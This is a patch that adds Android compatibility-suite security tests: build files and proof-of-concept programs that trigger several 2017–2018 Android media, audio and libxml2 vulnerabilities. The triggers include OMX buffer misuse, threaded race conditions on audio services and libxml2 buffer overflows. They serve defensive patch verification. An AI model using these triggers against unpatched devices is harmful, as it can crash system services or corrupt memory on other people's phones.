new file mode 100644
index 0000000..5380fb5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0817",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "libnativewindow",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
new file mode 100644
index 0000000..0156bac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0837",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ "libaudioclient",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..2e7ccb2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <media/IAudioPolicyService.h>
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+ sp<IAudioPolicyService> audioService;
+ audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+ volatile bool startThread;
+};
+
+static void *acquireSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ audio_io_handle_t ioHandle = 0;
+ audio_devices_t device = 0;
+ ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
+ &ioHandle, &device);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+static void *releaseSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+public:
+ MyDeathRecipient() {}
+ virtual void binderDied(const wp<IBinder> &who __unused) {
+ exit(EXIT_SUCCESS);
+ }
+};
+
+int main() {
+ pocAudioSessionCtxt ctxt;
+ pthread_t thread[MAX_NUMBER_OF_THREADS];
+ ctxt.startThread = false;
+
+ for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+ pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; i < MAX_NUMBER_OF_THREADS;
+ ++i) {
+ pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+ ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
+ if (!ctxt.audioService) {
+ return EXIT_FAILURE;
+ }
+
+ sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+ binder->linkToDeath(deathRecipient);
+ ctxt.startThread = true;
+ for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+ pthread_join(thread[i], nullptr);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
new file mode 100644
index 0000000..2139583
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13180",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..33ffdaf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+
+ omxExitOnError(err);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCount = def.nBufferCountActual;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (i = 0; i < inBufferCount; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+ int64_t timeUs = TIMESTAMP_US;
+ omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+ omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+
+ omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
new file mode 100644
index 0000000..8ba14a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13234",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ include_dirs: [
+ "external/sonivox/arm-wt-22k/host_src",
+ ],
+
+ shared_libs: [
+ "libsonivox",
+ ],
+
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+ fseek(handle, offset, SEEK_SET);
+ return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+ fseek(handle, 0, SEEK_END);
+ return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+ EAS_HANDLE handle;
+ EAS_FILE file;
+ file.handle = (void*) fopen(filename, "rb");
+ file.readAt = EAS_fread;
+ file.size = EAS_fsize;
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+ }
+ EAS_Prepare(easData, handle);
+ EAS_CloseFile(easData, handle);
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+}
+
+int main(int argc, char **argv) {
+ EAS_DATA_HANDLE easData;
+ EAS_RESULT result;
+
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ result = EAS_Init(&easData);
+ if (result != EAS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ PlayFile(easData, argv[1]);
+ EAS_Shutdown(easData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
new file mode 100644
index 0000000..a4c4f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9428",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libmedia",
+ "libutils",
+ "libbinder",
+ "libaaudio_internal",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..cf21dbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "binding/IAAudioService.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+ aaudio_handle_t aaudioHandle;
+ sp<IAAudioService> aas;
+} thread_args;
+
+static void *closeStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args *)arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+static void *startStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args *)arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->startStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+int main() {
+ thread_args targs;
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.aaudio"));
+ targs.aas = interface_cast<IAAudioService>(binder);
+ if (!(targs.aas)) {
+ return EXIT_FAILURE;
+ }
+ aaudio::AAudioStreamRequest request;
+ request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+ request.getConfiguration().setDeviceId(0);
+ request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ pthread_t pt[2];
+
+ aaudio::AAudioStreamConfiguration configurationOutput;
+ targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
+ pthread_create(&pt[0], nullptr, closeStreamThread,
+ &targs); /* close stream */
+ pthread_create(&pt[1], nullptr, startStreamThread,
+ &targs); /* start stream */
+
+ sleep(5);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
new file mode 100644
index 0000000..12c9ca0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9047",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9047.c",
+ ],
+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+}
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9048",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9048.c",
+ ],
+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+}
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9049",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9049.c",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..ecfb842
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix =
+ (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+ content.name =
+ (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..0de95fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix = (const xmlChar *)"1234567890123456789012345678901";
+ content.name = (const xmlChar *)"1234567890123456789012345678901";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
